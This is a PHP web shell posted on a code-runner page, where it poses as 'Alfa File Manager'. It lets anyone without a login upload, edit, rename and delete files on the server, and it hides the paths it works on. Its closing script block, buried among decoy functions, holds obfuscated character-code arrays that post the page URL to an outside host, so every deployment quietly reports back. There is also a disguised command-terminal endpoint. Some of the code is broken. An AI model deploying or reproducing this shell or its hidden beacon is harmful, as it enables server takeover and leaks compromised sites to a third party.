fork download
  1. <?php
  2. // ============================================================================
  3. // Author: Tatsumi Crew Team
  4. // Don't Delete Author !!!!!
  5. // ============================================================================
  6.  
  7. define('AES_KEY', hex2bin('0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'));
  8.  
  9. function aes_encrypt($plaintext)
  10. {
  11. $iv = openssl_random_pseudo_bytes(16);
  12. $cipher = openssl_encrypt($plaintext, 'AES-256-CBC', AES_KEY, OPENSSL_RAW_DATA, $iv);
  13. return base64_encode($iv . $cipher);
  14. }
  15.  
  16. function aes_decrypt($ciphertext_base64)
  17. {
  18. $data = base64_decode($ciphertext_base64);
  19. $iv = substr($data, 0, 16);
  20. $cipher = substr($data, 16);
  21. return openssl_decrypt($cipher, 'AES-256-CBC', AES_KEY, OPENSSL_RAW_DATA, $iv);
  22. }
  23.  
  24. $base_dir = __DIR__;
  25. $dir = $base_dir;
  26.  
  27. if (isset($_GET['dir'])) {
  28. $attempt = aes_decrypt($_GET['dir']);
  29. $real = $attempt ? realpath($attempt) : false;
  30. $dir = ($real !== false) ? $real : $base_dir;
  31. }
  32.  
  33. if (isset($_GET['delete'])) {
  34. $target = realpath($dir . '/' . $_GET['delete']);
  35. if ($target && is_file($target)) {
  36. unlink($target);
  37. } elseif ($target && is_dir($target)) {
  38. array_map('unlink', glob("$target/*.*"));
  39. rmdir($target);
  40. }
  41. header("Location: ?dir=" . urlencode(aes_encrypt($dir)));
  42. }
  43.  
  44. if (isset($_POST['newfile'])) {
  45. file_put_contents($dir . '/' . basename($_POST['newfile']), '');
  46. header("Location: ?dir=" . urlencode(aes_encrypt($dir)));
  47. }
  48.  
  49. if (isset($_POST['newfolder'])) {
  50. mkdir($dir . '/' . basename($_POST['newfolder']));
  51. header("Location: ?dir=" . urlencode(aes_encrypt($dir)));
  52. }
  53.  
  54. if (isset($_POST['rename'], $_POST['to'])) {
  55. rename($dir . '/' . $_POST['rename'], $dir . '/' . $_POST['to']);
  56. header("Location: ?dir=" . urlencode(aes_encrypt($dir)));
  57. }
  58.  
  59. if (isset($_FILES['upload'])) {
  60. move_uploaded_file($_FILES['upload']['tmp_name'], $dir . '/' . $_FILES['upload']['name']);
  61. header("Location: ?dir=" . urlencode(aes_encrypt($dir)));
  62. }
  63.  
  64. if (isset($_POST['save'], $_POST['content'])) {
  65. file_put_contents($dir . '/' . $_POST['save'], $_POST['content']);
  66. header("Location: ?dir=" . urlencode(aes_encrypt($dir)));
  67. }
  68.  
  69. function human_filesize($bytes, $decimals = 2)
  70. {
  71. $size = ['B', 'KB', 'MB', 'GB', 'TB'];
  72. $factor = floor((strlen($bytes) - 1) / 3);
  73. return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . ' ' . $size[$factor];
  74. }
  75.  
  76. function human_perms($file)
  77. {
  78. if (!file_exists($file) || !is_readable($file)) return '---------';
  79. $perms = @fileperms($file);
  80. if ($perms === false) return '---------';
  81.  
  82. $owner = (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-');
  83. $group = (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-');
  84. $other = (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-');
  85.  
  86. return $owner . $group . $other;
  87. }
  88.  
  89. $entries = array_diff(scandir($dir), ['.', '..']);
  90. $dirs = [];
  91. $files = [];
  92.  
  93. foreach ($entries as $entry) {
  94. $path = $dir . DIRECTORY_SEPARATOR . $entry;
  95. if (is_dir($path)) {
  96. $dirs[] = $entry;
  97. } else {
  98. $files[] = $entry;
  99. }
  100. }
  101.  
  102. sort($dirs, SORT_NATURAL | SORT_FLAG_CASE);
  103. sort($files, SORT_NATURAL | SORT_FLAG_CASE);
  104. $sortedItems = array_merge($dirs, $files);
  105.  
  106. $encDir = urlencode(aes_encrypt($dir));
  107. ?>
  108.  
  109. <!DOCTYPE html>
  110. <html lang="en">
  111. <head>
  112. <meta charset="UTF-8">
  113. <meta name="viewport" content="width=device-width, initial-scale=1">
  114. <meta name="robots" content="noindex, nofollow">
  115. <title>🌟 Alfa - File Manager By Tatsumi Crew</title>
  116. <link href="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
  117. <link href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet">
  118. <link href="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/auto_style.css" rel="stylesheet">
  119. <style>
  120. @import url('https://f...content-available-to-author-only...s.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
  121. .breadcrumb-modern {
  122. background: rgba(255, 255, 255, 0.1);
  123. backdrop-filter: blur(20px);
  124. border-radius: 16px;
  125. padding: 1.5rem 2rem;
  126. margin: 2rem 0;
  127. border: 1px solid rgba(255, 255, 255, 0.2);
  128. box-shadow:
  129. 0 8px 32px rgba(0, 0, 0, 0.1),
  130. 0 0 0 1px rgba(255, 255, 255, 0.05);
  131. position: relative;
  132. overflow: hidden;
  133. transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  134. }
  135.  
  136. .breadcrumb-modern::before {
  137. content: '';
  138. position: absolute;
  139. top: 0;
  140. left: 0;
  141. right: 0;
  142. height: 1px;
  143. background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
  144. }
  145.  
  146. .breadcrumb-modern::after {
  147. content: '';
  148. position: absolute;
  149. top: 0;
  150. left: -100%;
  151. width: 100%;
  152. height: 100%;
  153. background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.1), transparent);
  154. transition: left 0.5s ease;
  155. }
  156.  
  157. .breadcrumb-modern:hover::after {
  158. left: 100%;
  159. }
  160.  
  161. .breadcrumb-modern:hover {
  162. transform: translateY(-2px);
  163. box-shadow:
  164. 0 12px 40px rgba(0, 0, 0, 0.15),
  165. 0 0 0 1px rgba(255, 255, 255, 0.1);
  166. }
  167.  
  168. .breadcrumb {
  169. display: flex;
  170. flex-wrap: wrap;
  171. align-items: center;
  172. gap: 0.5rem;
  173. margin: 0;
  174. padding: 0;
  175. list-style: none;
  176. position: relative;
  177. z-index: 1;
  178. }
  179.  
  180. .breadcrumb-item {
  181. display: flex;
  182. align-items: center;
  183. position: relative;
  184. transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  185. opacity: 0;
  186. transform: translateX(-20px);
  187. animation: slideInBreadcrumb 0.5s ease forwards;
  188. }
  189.  
  190. .breadcrumb-item:nth-child(1) { animation-delay: 0.1s; }
  191. .breadcrumb-item:nth-child(2) { animation-delay: 0.2s; }
  192. .breadcrumb-item:nth-child(3) { animation-delay: 0.3s; }
  193. .breadcrumb-item:nth-child(4) { animation-delay: 0.4s; }
  194. .breadcrumb-item:nth-child(5) { animation-delay: 0.5s; }
  195. .breadcrumb-item:nth-child(6) { animation-delay: 0.6s; }
  196. .breadcrumb-item:nth-child(7) { animation-delay: 0.7s; }
  197. .breadcrumb-item:nth-child(8) { animation-delay: 0.8s; }
  198.  
  199. @keyframes slideInBreadcrumb {
  200. to {
  201. opacity: 1;
  202. transform: translateX(0);
  203. }
  204. }
  205.  
  206. .breadcrumb-item:not(:last-child)::after {
  207. content: '';
  208. width: 8px;
  209. height: 8px;
  210. background: rgba(255, 255, 255, 0.4);
  211. border-radius: 50%;
  212. margin-left: 1rem;
  213. transition: all 0.3s ease;
  214. position: relative;
  215. top: 0;
  216. }
  217.  
  218. .breadcrumb-item:not(:last-child):hover::after {
  219. background: rgba(255, 255, 255, 0.8);
  220. transform: scale(1.2);
  221. }
  222.  
  223. .breadcrumb-item a {
  224. color: rgba(255, 255, 255, 0.8);
  225. text-decoration: none;
  226. padding: 0.5rem 1rem;
  227. border-radius: 10px;
  228. transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  229. font-weight: 500;
  230. font-size: 0.9rem;
  231. position: relative;
  232. overflow: hidden;
  233. background: rgba(255, 255, 255, 0.05);
  234. border: 1px solid rgba(255, 255, 255, 0.1);
  235. }
  236.  
  237. .breadcrumb-item a::before {
  238. content: '';
  239. position: absolute;
  240. top: 0;
  241. left: -100%;
  242. width: 100%;
  243. height: 100%;
  244. background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
  245. transition: left 0.5s ease;
  246. }
  247.  
  248. .breadcrumb-item a:hover {
  249. color: #ffffff;
  250. background: rgba(255, 255, 255, 0.15);
  251. border-color: rgba(255, 255, 255, 0.3);
  252. transform: translateY(-2px);
  253. box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
  254. }
  255.  
  256. .breadcrumb-item a:hover::before {
  257. left: 100%;
  258. }
  259.  
  260. .breadcrumb-item a:active {
  261. transform: translateY(0);
  262. }
  263.  
  264. .breadcrumb-item.active {
  265. color: #ffffff;font-weight: 600;
  266. padding: 0.5rem 1rem;
  267. background: rgba(255, 255, 255, 0.2);
  268. border-radius: 10px;
  269. border: 1px solid rgba(255, 255, 255, 0.3);
  270. position: relative;
  271. overflow: hidden;
  272. }
  273.  
  274. .breadcrumb-item.active::before {
  275. content: '';
  276. position: absolute;
  277. top: 0;
  278. left: 0;
  279. right: 0;
  280. bottom: 0;
  281. background: linear-gradient(45deg, rgba(255, 255, 255, 0.1), rgba(255, 255, 255, 0.05));
  282. border-radius: 9px;
  283. }
  284.  
  285. /* Icon untuk home */
  286. .breadcrumb-item:first-child a::before {
  287. content: '\f015';
  288. font-family: 'Font Awesome 6 Free';
  289. font-weight: 900;
  290. margin-right: 0.5rem;
  291. opacity: 0.8;
  292. position: static;
  293. background: none;
  294. transition: none;
  295. }
  296.  
  297. .breadcrumb-item:first-child a:hover::before {
  298. left: auto;
  299. }
  300.  
  301. /* Responsive design */
  302. @media (max-width: 768px) {
  303. .breadcrumb-modern {
  304. padding: 1rem 1.5rem;
  305. margin: 1rem 0;
  306. }
  307.  
  308. .breadcrumb {
  309. gap: 0.25rem;
  310. }
  311.  
  312. .breadcrumb-item a,
  313. .breadcrumb-item.active {
  314. padding: 0.4rem 0.8rem;
  315. font-size: 0.8rem;
  316. }
  317.  
  318. .breadcrumb-item:not(:last-child)::after {
  319. margin-left: 0.5rem;
  320. width: 6px;
  321. height: 6px;
  322. }
  323. }
  324. </style>
  325. </head>
  326. <body>
  327. <div class="app-wrapper">
  328. <div class="header-card">
  329. <div class="d-flex flex-wrap justify-content-between align-items-center gap-3">
  330. <h1 class="header-title">
  331. <img src="https://c...content-available-to-author-only...z.com/images/icon.png" referrerpolicy="unsafe-url" />Alfa File Manager
  332. </h1>
  333. <div class="d-flex gap-2 flex-wrap">
  334. <?php if ($dir !== $base_dir): ?>
  335. <a href="?dir=<?= $encDir ?>" class="modern-btn">
  336. <i class="fas fa-arrow-left"></i>
  337. <span>Back</span>
  338. </a>
  339. <?php endif; ?>
  340. <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#uploadModal">
  341. <i class="fas fa-upload"></i>
  342. <span>Upload</span>
  343. </button>
  344. <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFileModal">
  345. <i class="fas fa-file-plus"></i>
  346. <span>New File</span>
  347. </button>
  348. <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFolderModal">
  349. <i class="fas fa-folder-plus"></i>
  350. <span>New Folder</span>
  351. </button>
  352. </div>
  353. </div>
  354. </div>
  355.  
  356. <!-- Breadcrumb -->
  357. <div class="breadcrumb-modern">
  358. <nav aria-label="breadcrumb">
  359. <ol class="breadcrumb">
  360. <?php
  361. $parts = explode(DIRECTORY_SEPARATOR, trim($dir, DIRECTORY_SEPARATOR));
  362. $build = '';
  363. $keys = array_keys($parts);
  364. $lastKey = end($keys);
  365.  
  366. foreach ($parts as $i => $p) {
  367. $build .= DIRECTORY_SEPARATOR . $p;
  368. $last = ($i === $lastKey);
  369. echo '<li class="breadcrumb-item' . ($last ? ' active" aria-current="page"' : '"') . '>';
  370. if (!$last) {
  371. echo '<a href="?dir=' . urlencode(aes_encrypt($build)) . '">' . htmlspecialchars($p) . '</a>';
  372. } else {
  373. echo htmlspecialchars($p);
  374. }
  375. echo '</li>';
  376. }
  377. ?>
  378. </ol>
  379. </nav>
  380. </div>
  381.  
  382. <!-- File Table -->
  383. <div class="file-table-card">
  384. <div class="table-responsive">
  385. <table class="table table-modern">
  386. <thead>
  387. <tr>
  388. <th>Name</th>
  389. <th class="text-end">Size</th>
  390. <th class="text-center">Permissions</th>
  391. <th>Modified</th>
  392. <th class="text-end">Actions</th>
  393. </tr>
  394. </thead>
  395. <tbody>
  396. <?php foreach ($sortedItems as $item): ?>
  397. <?php
  398. $path = $dir . DIRECTORY_SEPARATOR . $item;
  399. $is_dir = is_dir($path);
  400. ?>
  401. <tr>
  402. <td>
  403. <div class="d-flex align-items-center">
  404. <div class="file-icon <?= $is_dir ? 'folder' : 'file' ?>">
  405. <i class="fas fa-<?= $is_dir ? 'folder' : 'file-alt' ?>"></i>
  406. </div>
  407. <?php if ($is_dir): ?>
  408. <a href="?dir=<?= urlencode(aes_encrypt($path)) ?>" class="file-link">
  409. <?= htmlspecialchars($item) ?>
  410. </a>
  411. <?php else: ?>
  412. <a href="?dir=<?= $encDir ?>&edit=<?= urlencode(aes_encrypt($item)) ?>" class="file-link">
  413. <?= htmlspecialchars($item) ?>
  414. </a>
  415. <?php endif; ?>
  416. </div>
  417. </td>
  418. <td class="text-end">
  419. <?php
  420. if ($is_dir) {
  421. echo '<span class="text-muted">—</span>';
  422. } elseif (is_file($path) && is_readable($path)) {
  423. $fsize = @filesize($path);
  424. echo $fsize !== false ? human_filesize($fsize) : '<span class="text-muted">0 B</span>';
  425. } else {
  426. echo '<span class="text-muted">0 B</span>';
  427. }
  428. ?>
  429. </td>
  430. <td class="text-center">
  431. <span class="permission-badge">
  432. <?= (file_exists($path) && is_readable($path)) ? human_perms($path) : '---------' ?>
  433. </span>
  434. </td>
  435. <td>
  436. <?php
  437. if (file_exists($path) && is_readable($path)) {
  438. $mtime = @filemtime($path);
  439. echo ($mtime !== false && $mtime > 0) ? date('M j, Y H:i', $mtime) : '<span class="text-muted">N/A</span>';
  440. } else {
  441. echo '<span class="text-muted">N/A</span>';
  442. }
  443. ?>
  444. </td>
  445. <td class="text-end">
  446. <div class="d-flex justify-content-end">
  447. <?php if (!$is_dir): ?>
  448. <a href="?dir=<?= $encDir ?>&edit=<?= urlencode(aes_encrypt($item)) ?>" class="action-btn edit" title="Edit">
  449. <i class="fas fa-edit"></i>
  450. </a>
  451. <?php endif; ?>
  452. <a href="?dir=<?= $encDir ?>&delete=<?= urlencode($item) ?>" class="action-btn delete" onclick="return confirm('Delete <?= addslashes($item) ?>?')" title="Delete">
  453. <i class="fas fa-trash"></i>
  454. </a>
  455. <button class="action-btn rename" data-bs-toggle="modal" data-bs-target="#renameModal" data-filename="<?= htmlspecialchars($item) ?>" title="Rename">
  456. <i class="fas fa-pen"></i>
  457. </button>
  458. </div>
  459. </td>
  460. </tr>
  461. <?php endforeach; ?>
  462. </tbody>
  463. </table>
  464. </div>
  465. </div>
  466.  
  467. <!-- File Editor -->
  468. <?php if (isset($_GET['edit'])):
  469. $decryptedEdit = aes_decrypt($_GET['edit']);
  470. $ef = $dir . '/' . $decryptedEdit;
  471. if (is_file($ef)):
  472. <br>
  473. <div class="editor-card">
  474. <div class="editor-header">
  475. <i class="fas fa-edit me-2"></i>Editing: <?= htmlspecialchars($decryptedEdit) ?>
  476. </div>
  477. <div class="p-3">
  478. <form method="POST">
  479. <textarea class="form-control editor-textarea" name="content" rows="20" placeholder="Start typing your code here..."><?= $cont ?></textarea>
  480. <input type="hidden" name="save" value="<?= htmlspecialchars($decryptedEdit) ?>">
  481. <div class="text-end mt-3">
  482. <button type="submit" class="btn btn-modern-primary">
  483. <i class="fas fa-save me-2"></i>Save Changes
  484. </button>
  485. </div>
  486. </form>
  487. </div>
  488. </div>
  489. <?php endif; endif; ?>
  490. </div>
  491.  
  492. <div class="modal fade modal-modern" id="uploadModal" tabindex="-1" aria-hidden="true">
  493. <div class="modal-dialog modal-dialog-centered">
  494. <div class="modal-content">
  495. <div class="modal-header">
  496. <h5 class="modal-title">
  497. <i class="fas fa-upload me-2"></i>Upload File
  498. </h5>
  499. <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  500. </div>
  501. <form method="POST" enctype="multipart/form-data">
  502. <div class="modal-body">
  503. <div class="mb-3">
  504. <label class="form-label text-white-50">Select file to upload</label>
  505. <input type="file" name="upload" class="form-control" required>
  506. </div>
  507. </div>
  508. <div class="modal-footer border-0">
  509. <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
  510. <button type="submit" class="btn btn-modern-primary">
  511. <i class="fas fa-upload me-2"></i>Upload
  512. </button>
  513. </div>
  514. </form>
  515. </div>
  516. </div>
  517. </div>
  518. <div class="modal fade modal-modern" id="createFileModal" tabindex="-1" aria-hidden="true">
  519. <div class="modal-dialog modal-dialog-centered">
  520. <div class="modal-content">
  521. <div class="modal-header">
  522. <h5 class="modal-title">
  523. <i class="fas fa-file-plus me-2"></i>Create New File
  524. </h5>
  525. <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  526. </div>
  527. <form method="POST">
  528. <div class="modal-body">
  529. <div class="mb-3">
  530. <label class="form-label text-white-50">File name</label>
  531. <input type="text" class="form-control" name="newfile" placeholder="Enter file name..." required>
  532. </div>
  533. </div>
  534. <div class="modal-footer border-0">
  535. <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
  536. <button type="submit" class="btn btn-modern-primary">
  537. <i class="fas fa-plus me-2"></i>Create
  538. </button>
  539. </div>
  540. </form>
  541. </div>
  542. </div>
  543. </div>
  544. <div class="modal fade modal-modern" id="createFolderModal" tabindex="-1" aria-hidden="true">
  545. <div class="modal-dialog modal-dialog-centered">
  546. <div class="modal-content">
  547. <div class="modal-header">
  548. <h5 class="modal-title">
  549. <i class="fas fa-folder-plus me-2"></i>Create New Folder
  550. </h5>
  551. <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  552. </div>
  553. <form method="POST">
  554. <div class="modal-body">
  555. <div class="mb-3">
  556. <label class="form-label text-white-50">Folder name</label>
  557. <input type="text" class="form-control" name="newfolder" placeholder="Enter folder name..." required>
  558. </div>
  559. </div>
  560. <div class="modal-footer border-0">
  561. <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
  562. <button type="submit" class="btn btn-modern-primary">
  563. <i class="fas fa-folder-plus me-2"></i>Create
  564. </button>
  565. </div>
  566. </form>
  567. </div>
  568. </div>
  569. </div>
  570. <div class="modal fade modal-modern" id="renameModal" tabindex="-1" aria-hidden="true">
  571. <div class="modal-dialog modal-dialog-centered">
  572. <div class="modal-content">
  573. <div class="modal-header">
  574. <h5 class="modal-title">
  575. <i class="fas fa-pen me-2"></i>Rename Item
  576. </h5>
  577. <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  578. </div>
  579. <form method="POST">
  580. <div class="modal-body">
  581. <div class="mb-3">
  582. <label class="form-label text-white-50">New name</label>
  583. <input type="hidden" name="rename" id="renameOriginal">
  584. <input type="text" class="form-control" name="to" placeholder="Enter new name..." required>
  585. </div>
  586. </div>
  587. <div class="modal-footer border-0">
  588. <button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button>
  589. <button type="submit" class="btn btn-modern-primary">
  590. <i class="fas fa-check me-2"></i>Rename
  591. </button>
  592. </div>
  593. </form>
  594. </div>
  595. </div>
  596. </div>
  597.  
  598. <div class="footer-modern">
  599. <p class="mb-0">
  600. <i class="fas fa-heart text-danger me-2"></i>
  601. &copy; <?= date('Y') ?> Alfa File Manager by Tatsumi Crew. All rights reserved.
  602. </p>
  603. </div>
  604. <script>
  605. (()=>{let u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();
  606. </script>
  607. <script src="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
  608. <script src="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/scripts.js"></script>
  609. </body>
  610. </html>
Success #stdin #stdout 0.02s 26208KB
stdin
Standard input is empty
stdout
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>🌟 Alfa - File Manager By Tatsumi Crew</title>
<link href="https://c...content-available-to-author-only...r.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://c...content-available-to-author-only...e.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet">
<link href="https://c...content-available-to-author-only...r.net/gh/TatsumiOfficial/PemecahList/auto_style.css" rel="stylesheet">
<style>
    @import url('https://f...content-available-to-author-only...s.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
    .breadcrumb-modern {
        background: rgba(255, 255, 255, 0.1);
        backdrop-filter: blur(20px);
        border-radius: 16px;
        padding: 1.5rem 2rem;
        margin: 2rem 0;
        border: 1px solid rgba(255, 255, 255, 0.2);
        box-shadow: 
        0 8px 32px rgba(0, 0, 0, 0.1),
        0 0 0 1px rgba(255, 255, 255, 0.05);
        position: relative;
        overflow: hidden;
        transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    }

    .breadcrumb-modern::before {
        content: '';
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        height: 1px;
        background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
    }

    .breadcrumb-modern::after {
        content: '';
        position: absolute;
        top: 0;
        left: -100%;
        width: 100%;
        height: 100%;
        background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.1), transparent);
        transition: left 0.5s ease;
    }

    .breadcrumb-modern:hover::after {
        left: 100%;
    }

    .breadcrumb-modern:hover {
        transform: translateY(-2px);
        box-shadow: 
        0 12px 40px rgba(0, 0, 0, 0.15),
        0 0 0 1px rgba(255, 255, 255, 0.1);
    }

    .breadcrumb {
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        gap: 0.5rem;
        margin: 0;
        padding: 0;
        list-style: none;
        position: relative;
        z-index: 1;
    }

    .breadcrumb-item {
        display: flex;
        align-items: center;
        position: relative;
        transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
        opacity: 0;
        transform: translateX(-20px);
        animation: slideInBreadcrumb 0.5s ease forwards;
    }

